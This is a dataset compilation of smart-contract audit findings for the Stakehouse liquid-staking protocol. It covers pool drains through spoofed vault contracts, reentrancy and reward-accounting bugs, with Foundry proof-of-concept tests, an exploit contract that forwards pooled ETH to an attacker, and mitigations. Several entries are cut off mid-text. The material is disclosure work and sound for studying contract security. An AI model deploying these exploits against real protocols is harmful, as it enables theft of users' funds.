xanoutas/solidity-security-findings huggingface dataset:
All ``dETH`` tokens of a ``savETHVault`` pool can be drained trough the ``GiantSavETHVaultPool`` pool
Audit: 2022-11-stakehouse-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantSavETHVaultPool.sol#L87
https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantSavETHVaultPool.sol#L101
https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantSavETHVaultPool.sol#L105-L108


# Vulnerability details


## Impact
The function ``withdrawDETH`` of the ``GiantSavETHVaultPool`` contract can be exploited to get out all available ``dETH`` tokens of a ``savETHVault`` pool.

The exploit is possible because we can use an injected/custom contract which is called with the right ``msg.sender``. Right in the sens that has the authority to withdraw the tokens inside a chosen ``savETHVault`` pool.

The provided POC can be extended to drain all available ``savETHVault`` pools in one call.

## Proof of Concept

The mentioned ``GiantSavETHVaultPool::withdrawDETH`` can be bypassed by an attacker in the following way.

First the attacker deposits a minimal amount (this is 0.001 ETH) of ``ETH`` inside the Giant pool. This is because we need to bypass the following line that checks if we have a minimal amount inside the pool.

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantSavETHVaultPool.sol#L87

And now we come to the second part to the following line:

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantSavETHVaultPool.sol#L101

Here with the help of a custom ``LPToken`` and ``SavEthVault`` contract we can take out all ``dETH`` tokens with one line :

```solidity
 // msg.sender has authority to take funds out
 saveEthRegistry.withdraw(msg.sender, uint128(24 ether));
```

Next lines transfer/move the founds to our address:

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantSavETHVaultPool.sol#L105-L108

The entire POC is added as the last test of ``GiantPool.t.sol`` file:

**In this test the ``exploiter`` get ``24`` dETH tokens for ``0.001`` ETH.** :

```solidity
    function testDrainSavETHTroughGiantEthPool() public {
        // Set up users and ETH
        address nodeRunner = accountOne; vm.deal(nodeRunner, 12 ether);
        address feesAndMevUserOne = accountTwo; vm.deal(feesAndMevUserOne, 4 ether);
        address savETHUser = accountThree; vm.deal(savETHUser, 24 ether);

        // Register BLS key
        registerSingleBLSPubKey(nodeRunner, blsPubKeyOne, accountFour);

        // Deposit ETH into giant savETH
        vm.prank(savETHUser);
        giantSavETHPool.depositETH{value: 24 ether}(24 ether);
        assertEq(giantSavETHPool.lpTokenETH().balanceOf(savETHUser), 24 ether);
        assertEq(address(giantSavETHPool).balance, 24 ether);
The withdrawDETH function in GiantSavETHVaultPool should be reentry protected
Audit: 2022-11-stakehouse-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantSavETHVaultPool.sol#L66-L109


# Vulnerability details

## Impact
This function can be reentered, which is potentially risky

## Proof of Concept
Attacker can pass an impersonating malicious vault contract to withdrawDETH to reenter the pool by `vault.burnLPTokens(_lpTokens[i], _amounts[i]);`

## Tools Used
n/a

## Recommended Mitigation Steps

Add modifier nonReentrant to withdrawDETH.
withdrawETH() in GiantPoolBase don't call _distributeETHRewardsToUserForToken() or _onWithdraw() which would make users to lose their remaining rewards 
Audit: 2022-11-stakehouse-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantPoolBase.sol#L50-L64
https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantMevAndFeesPool.sol#L180-L193


# Vulnerability details

## Impact
Function `_distributeETHRewardsToUserForToken()` is used to distribute remaining reward of user and it's called in `_onWithdraw()` of `GiantMevAndFeesPool`. but function `withdrawETH()` in `GiantPoolBase` don't call either of them and burn user giant LP token balance so if user withdraw his funds and has some remaining ETH rewards he would lose those rewards because his balance set to zero.

## Proof of Concept
This is `withdrawETH()` code in `GiantPoolBase`:
```
    /// @notice Allow a user to chose to burn their LP tokens for ETH only if the requested amount is idle and available from the contract
    /// @param _amount of LP tokens user is burning in exchange for same amount of ETH
    function withdrawETH(uint256 _amount) external nonReentrant {
        require(_amount >= MIN_STAKING_AMOUNT, "Invalid amount");
        require(lpTokenETH.balanceOf(msg.sender) >= _amount, "Invalid balance");
        require(idleETH >= _amount, "Come back later or withdraw less ETH");

        idleETH -= _amount;

        lpTokenETH.burn(msg.sender, _amount);
        (bool success,) = msg.sender.call{value: _amount}("");
        require(success, "Failed to transfer ETH");

        emit LPBurnedForETH(msg.sender, _amount);
    }
```
As you can see it burn user `lpTokenETH` balance and don't call either `_distributeETHRewardsToUserForToken()` or `_onWithdraw()`. and in function `claimRewards()` uses `lpTokenETH.balanceOf(msg.sender)` to calculate user rewards so if user balance get to `0` user won't get the remaining rewards.
These are steps that this bug happens:
1. `user1` deposit `10` ETH into the giant pool and `claimed[user1][lpTokenETH]` is `20` and `accumulatedETHPerLPShare` is `2`.
2. some time passes and `accumulatedETHPerLPShare` set to `3`.
3. `user1` unclaimed rewards are `10 * 3 - 20 = 10` ETH.
4. `user1` withdraw his `10` ETH by calling `withdrawETH(10)` and contract set `lpTokenETH` balance of `user1`  to `0` and transfer `10` ETH to user.
5. now if `user1` calls `claimRewards()` he would get `0` reward as his `lpTokenETH` balance is `0`.

so users lose their unclaimed rewards by withdrawing their funds.

## Tools Used
VIM

## Recommended Mitigation Steps
user's unclaimed funds should be calculated and transferred before any actions that change user's balance.
Funds in GiantMevAndFeesPool and GiantSavETHVaultPool can be drained by impersonating malicious vault contract
Audit: 2022-11-stakehouse-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantSavETHVaultPool.sol#L29-L60
https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantMevAndFeesPool.sol#L28-L53


# Vulnerability details


## Impact
Attacker can take away all eth in the pools.

## Proof of Concept

Both GiantSavETHVaultPool and GiantMevAndFeesPool provide a function - batchDepositETHForStaking to deposit ETH from pool to vault for staking.

The main logic is: 
```
for (uint256 i; i < numOfSavETHVaults; ++i) {
    uint256 transactionAmount = _ETHTransactionAmounts[i];

    // As ETH is being deployed to a savETH pool vault, it is no longer idle
    idleETH -= transactionAmount;

    SavETHVault savETHPool = SavETHVault(_savETHVaults[i]);
    require(
        liquidStakingDerivativeFactory.isLiquidStakingManager(address(savETHPool.liquidStakingManager())),
        "Invalid liquid staking manager"
    );

    // Deposit ETH for staking of BLS key
    savETHPool.batchDepositETHForStaking{ value: transactionAmount }(
        _blsPublicKeys[i],
        _stakeAmounts[i]
    );
}
```

It will check the vault by the liquidStakingManager address, and then send ETH to the vault by calling `batchDepositETHForStaking`.

Attacker can deploy a mock vault contract (M) which implements following two functions:
1. `function isLiquidStakingManager()` returns the correct liquidStakingManager address.
2. `functoin batchDepositETHForStaking(bytes[], uint256[]) payable` to receive ETH.

Then the attacker can call batchDepositETHForStaking of the pools with the mock vault contract M, and ETH in pools will be sent to M directly.

## Tools Used
n/a

## Recommended Mitigation Steps

We need check the vault addresses passed to batchDepositETHForStaking, not to check the liquidStakingManager returned by the vault contract.

An easy way to do this is to register all newly created valid vault contracts in a trusted contract like the liquidStakingDerivativeFactory(LSDNFactory), and then check within the batchDepositETHForStaking to see if vault is in the registry.
Claimed rewards are not accumulated, causing stealing of rewards
Audit: 2022-11-stakehouse-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/5f853d055d7aa1bebe9e24fd0e863ef58c004339/contracts/liquid-staking/SyndicateRewardsProcessor.sol#L63


# Vulnerability details

## Impact
Some `StakingFundsVault` stakers will get more rewards than expected while others will be locked out of claiming rewards due to insufficient funds.
## Proof of Concept
When tracking rewards claimed by users, only the currently claimed amount is tracked, but it should accumulate all claimed rewards by a user-token pair ([SyndicateRewardsProcessor.sol#L63](https://github.com/code-423n4/2022-11-stakehouse/blob/5f853d055d7aa1bebe9e24fd0e863ef58c004339/contracts/liquid-staking/SyndicateRewardsProcessor.sol#L63)):
```solidity
uint256 due = ((accumulatedETHPerLPShare * balance) / PRECISION) - claimed[_user][_token];
if (due > 0) {
    claimed[_user][_token] = due; // @audit must accrue claimed rewards

    totalClaimed += due;

    (bool success, ) = _recipient.call{value: due}("");
    require(success, "Failed to transfer");

    emit ETHDistributed(_user, _recipient, due);
}
```

This allows stakers to receive a higher reward, basically stealing it from other stakers:
```solidity
// test/foundry/StakingFundsVault.t.sol
function testNonAccumulatingClaimedRewards_AUDIT() public {
    // Resetting the mocks, we need real action.
    MockAccountManager(factory.accountMan()).setLifecycleStatus(blsPubKeyOne, 0);
    liquidStakingManager.setIsPartOfNetwork(blsPubKeyOne, false);

    // Aliasing accounts for better readability.
    address nodeRunner = accountOne;
    address alice = accountTwo;
    address bob = accountThree;
    vm.label(alice, "alice");
    vm.label(bob, "bob");

    // Node runner registers a BLS key.
    registerSingleBLSPubKey(nodeRunner, blsPubKeyOne, accountFive);

    uint256[] memory amounts = new uint256[](1);
    amounts[0] = maxStakingAmountPerValidator / 2;

    // Alice and Bob stake 50/50, their reward share will be equal.
    depositETH(alice, maxStakingAmountPerValidator / 2, amounts, getBytesArrayFromBytes(blsPubKeyOne));
    depositETH(bob, maxStakingAmountPerValidator / 2, amounts, getBytesArrayFromBytes(blsPubKeyOne));

    // Someone elese deposits to the savETH vault of the first key.
    liquidStakingManager.savETHVault().depositETHForStaking{value: 24 ether}(blsPubKeyOne, 24 ether);

    // The first validator is registered and the derivatives are minted.
    assertEq(vault.totalShares(), 0);
    stakeAndMintDerivativesSingleKey(blsPubKeyOne);
    assertEq(vault.totalShares(), 4 ether);

    // Warping to pass the lastInteractedTimestamp checks.
    vm.warp(block.timestamp + 1 hours);

    assertEq(alice.balance, 0);
    assertEq(bob.balance, 0);

    LPToken lpTokenBLSPubKeyOne = vault.lpTokenForKnot(blsPubKeyOne);

    // Issuing first round of rewards.
    uint256 rewardsAmount = 1 ether;
    vm.deal(address(vault), rewardsAmount);
    assertEq(address(vault).balance, rewardsAmount);
    // Alice and Bob will
Old stakers can steal deposits of new stakers in `StakingFundsVault`
Audit: 2022-11-stakehouse-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/5f853d055d7aa1bebe9e24fd0e863ef58c004339/contracts/liquid-staking/StakingFundsVault.sol#L75
https://github.com/code-423n4/2022-11-stakehouse/blob/5f853d055d7aa1bebe9e24fd0e863ef58c004339/contracts/liquid-staking/StakingFundsVault.sol#L123
https://github.com/code-423n4/2022-11-stakehouse/blob/5f853d055d7aa1bebe9e24fd0e863ef58c004339/contracts/liquid-staking/StakingFundsVault.sol#L63


# Vulnerability details

## Impact
Stakers to the MEV+fees vault can steal funds from the new stakers who staked after a validator was registered and the derivatives were minted. A single staker who staked 4 ETH can steal all funds deposited by new stakers.
## Proof of Concept
`StakingFundsVault` is designed to pull rewards from a Syndicate contract and distributed them pro-rata among LP token holders ([StakingFundsVault.sol#L215-L231](https://github.com/code-423n4/2022-11-stakehouse/blob/5f853d055d7aa1bebe9e24fd0e863ef58c004339/contracts/liquid-staking/StakingFundsVault.sol#L215-L231)):
```solidity
if (i == 0 && !Syndicate(payable(liquidStakingNetworkManager.syndicate())).isNoLongerPartOfSyndicate(_blsPubKeys[i])) {
    // Withdraw any ETH accrued on free floating SLOT from syndicate to this contract
    // If a partial list of BLS keys that have free floating staked are supplied, then partial funds accrued will be fetched
    _claimFundsFromSyndicateForDistribution(
        liquidStakingNetworkManager.syndicate(),
        _blsPubKeys
    );

    // Distribute ETH per LP
    updateAccumulatedETHPerLP();
}

// If msg.sender has a balance for the LP token associated with the BLS key, then send them any accrued ETH
LPToken token = lpTokenForKnot[_blsPubKeys[i]];
require(address(token) != address(0), "Invalid BLS key");
require(token.lastInteractedTimestamp(msg.sender) + 30 minutes < block.timestamp, "Last transfer too recent");
_distributeETHRewardsToUserForToken(msg.sender, address(token), token.balanceOf(msg.sender), _recipient);
```

The `updateAccumulatedETHPerLP` function calculates the reward amount per LP token share ([SyndicateRewardsProcessor.sol#L76](https://github.com/code-423n4/2022-11-stakehouse/blob/5f853d055d7aa1bebe9e24fd0e863ef58c004339/contracts/liquid-staking/SyndicateRewardsProcessor.sol#L76)):
```solidity
function _updateAccumulatedETHPerLP(uint256 _numOfShares) internal {
    if (_numOfShares > 0) {
        uint256 received = totalRewardsReceived();
        uint256 unprocessed = received - totalETHSeen;

        if (unprocessed > 0) {
            emit ETHReceived(unprocessed);

            // accumulated ETH per minted share is scaled to avoid precision loss. it is scaled down later
            accumulatedETHPerLPShare += (unprocessed * PRECISION) / _numOfShares;

            totalETHSeen = received;
        }
    }
}
```

And the `_distributeETHRewardsToUserForToken` function distributes rewards to LP token holders ([SyndicateRewardsProcessor.sol#L51](https://github.com/code-4
Node runners can steal crowdsourced funds from each other
Audit: 2022-11-stakehouse-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/5f853d055d7aa1bebe9e24fd0e863ef58c004339/contracts/liquid-staking/GiantSavETHVaultPool.sol#L137-L157
https://github.com/code-423n4/2022-11-stakehouse/blob/5f853d055d7aa1bebe9e24fd0e863ef58c004339/contracts/liquid-staking/GiantMevAndFeesPool.sol#L126-L138


# Vulnerability details

## Impact
Node runners, while competing for crowdsourced funds, can withdraw the funds that were deposited via Giant pools from competitor's vaults, and send them to their vaults. This will also lock node runners out of deploying a validator when the full stake amount is collected.
## Proof of Concept
The Giant pools implement the `bringUnusedETHBackIntoGiantPool` function that allows anyone to withdraw funds from a vault and send them back to the Giant pool:
- [GiantSavETHVaultPool.sol#L137-L157](https://github.com/code-423n4/2022-11-stakehouse/blob/5f853d055d7aa1bebe9e24fd0e863ef58c004339/contracts/liquid-staking/GiantSavETHVaultPool.sol#L137-L157):
    ```solidity
    function bringUnusedETHBackIntoGiantPool(
        address[] calldata _savETHVaults,
        LPToken[][] calldata _lpTokens,
        uint256[][] calldata _amounts
    ) external {
        uint256 numOfVaults = _savETHVaults.length;
        require(numOfVaults > 0, "Empty arrays");
        require(numOfVaults == _lpTokens.length, "Inconsistent arrays");
        require(numOfVaults == _amounts.length, "Inconsistent arrays");
        for (uint256 i; i < numOfVaults; ++i) {
            SavETHVault vault = SavETHVault(_savETHVaults[i]);
            for (uint256 j; j < _lpTokens[i].length; ++j) {
                require(
                    vault.isDETHReadyForWithdrawal(address(_lpTokens[i][j])) == false,
                    "ETH is either staked or derivatives minted"
                );
            }

            vault.burnLPTokens(_lpTokens[i], _amounts[i]); // @audit-issue HIGH, anyone can burn all LP tokens
        }
    }
    ```
- [GiantMevAndFeesPool.sol#L126-L138](https://github.com/code-423n4/2022-11-stakehouse/blob/5f853d055d7aa1bebe9e24fd0e863ef58c004339/contracts/liquid-staking/GiantMevAndFeesPool.sol#L126-L138):
    ```solidity
    function bringUnusedETHBackIntoGiantPool(
        address[] calldata _stakingFundsVaults,
        LPToken[][] calldata _lpTokens,
        uint256[][] calldata _amounts
    ) external {
        uint256 numOfVaults = _stakingFundsVaults.length;
        require(numOfVaults > 0, "Empty arrays");
        require(numOfVaults == _lpTokens.length, "Inconsistent arrays");
        require(numOfVaults == _amounts.length, "Inconsistent arrays");
        for (uint256 i; i < numOfVaults; ++i) {
            StakingFundsVault(payable(_stakingFundsVaults[i])).burnLPTokensForETH(_lpTokens[i], _amounts[i]);
        }
    }
    ```

While this mechanism allows stakers to withdraw funds from stale vaults, it can be also abused by node runners to remove funds from the vaults of their competitors and lock their competitor
Giant pools can be drained due to weak vault authenticity check
Audit: 2022-11-stakehouse-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/5f853d055d7aa1bebe9e24fd0e863ef58c004339/contracts/liquid-staking/GiantSavETHVaultPool.sol#L50
https://github.com/code-423n4/2022-11-stakehouse/blob/5f853d055d7aa1bebe9e24fd0e863ef58c004339/contracts/liquid-staking/GiantMevAndFeesPool.sol#L44


# Vulnerability details

## Impact
An attacker can withdraw all ETH staked by users in a Giant pool. Both `GiantSavETHVaultPool` and `GiantMevAndFeesPool` are affected.
## Proof of Concept
The `batchDepositETHForStaking` function in the Giant pools check whether a provided vault is authentic by validating its liquid staking manager contract and sends funds to the vault when the check passes ([GiantSavETHVaultPool.sol#L48-L58](https://github.com/code-423n4/2022-11-stakehouse/blob/5f853d055d7aa1bebe9e24fd0e863ef58c004339/contracts/liquid-staking/GiantSavETHVaultPool.sol#L48-L58)):
```solidity
SavETHVault savETHPool = SavETHVault(_savETHVaults[i]);
require(
    liquidStakingDerivativeFactory.isLiquidStakingManager(address(savETHPool.liquidStakingManager())),
    "Invalid liquid staking manager"
);

// Deposit ETH for staking of BLS key
savETHPool.batchDepositETHForStaking{ value: transactionAmount }(
    _blsPublicKeys[i],
    _stakeAmounts[i]
);
```

An attacker can pass an exploit contract as a vault. The exploit contract will implement `liquidStakingManager` that will return a valid staking manager contract address to trick a Giant pool into sending ETH to the exploit contract:
```solidity
// test/foundry/GiantPools.t.sol
contract GiantPoolExploit {
    address immutable owner = msg.sender;
    address validStakingManager;

    constructor(address validStakingManager_) {
        validStakingManager = validStakingManager_;
    }

    function liquidStakingManager() public view returns (address) {
        return validStakingManager;
    }

    function batchDepositETHForStaking(bytes[] calldata /*_blsPublicKeyOfKnots*/, uint256[] calldata /*_amounts*/) external payable {
        payable(owner).transfer(address(this).balance);
    }
}

function testPoolDraining_AUDIT() public {
    // Register BLS key
    address nodeRunner = accountOne; vm.deal(nodeRunner, 12 ether);
    registerSingleBLSPubKey(nodeRunner, blsPubKeyOne, accountFour);

    // Set up users and ETH
    address savETHUser = accountThree; vm.deal(savETHUser, 24 ether);

    address attacker = address(0x1337);
    vm.label(attacker, "attacker");
    vm.deal(attacker, 1 ether);

    // User deposits ETH into Giant savETH
    vm.prank(savETHUser);
    giantSavETHPool.depositETH{value: 24 ether}(24 ether);
    assertEq(giantSavETHPool.lpTokenETH().balanceOf(savETHUser), 24 ether);
    assertEq(address(giantSavETHPool).balance, 24 ether);

    // Attacker deploys an exploit.
    vm.startPrank(attacker);
    GiantPoolExploit exploit = new GiantPoolExploit(address(manager));
    vm.stopPrank();

    // Attacker calls `batchDepositETHForStaking` to deposit ETH to their exploit contrac
Reentrancy vulnerability in GiantMevAndFeesPool.withdrawETH
Audit: 2022-11-stakehouse-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantPoolBase.sol#L52-L64


# Vulnerability details

## Impact
GiantMevAndFeesPool.withdrawETH calls lpTokenETH.burn, then GiantMevAndFeesPool.beforeTokenTransfer, followed by a call to _distributeETHRewardsToUserForToken sends ETH to the user, which allows the user to call any function in the fallback. While GiantMevAndFeesPool.withdrawETH has the nonReentrant modifier, GiantMevAndFeesPool.claimRewards does not have the nonReentrant modifier.
When GiantMevAndFeesPool.claimRewards is called in GiantMevAndFeesPool.withdrawETH, the idleETH is reduced but the ETH is not yet sent to the user, which increases totalRewardsReceived and accumulatedETHPerLPShare, thus making the user receive more rewards when calling GiantMevAndFeesPool.claimRewards.
## Proof of Concept
https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantPoolBase.sol#L52-L64
## Tools Used
None
## Recommended Mitigation Steps
Change to
```diff
function withdrawETH(uint256 _amount) external nonReentrant {
    require(_amount >= MIN_STAKING_AMOUNT, "Invalid amount");
    require(lpTokenETH.balanceOf(msg.sender) >= _amount, "Invalid balance");
    require(idleETH >= _amount, "Come back later or withdraw less ETH");

-  idleETH -= _amount;

    lpTokenETH.burn(msg.sender, _amount);
+  idleETH -= _amount;

    (bool success,) = msg.sender.call{value: _amount}("");
    require(success, "Failed to transfer ETH");

    emit LPBurnedForETH(msg.sender, _amount);
}
```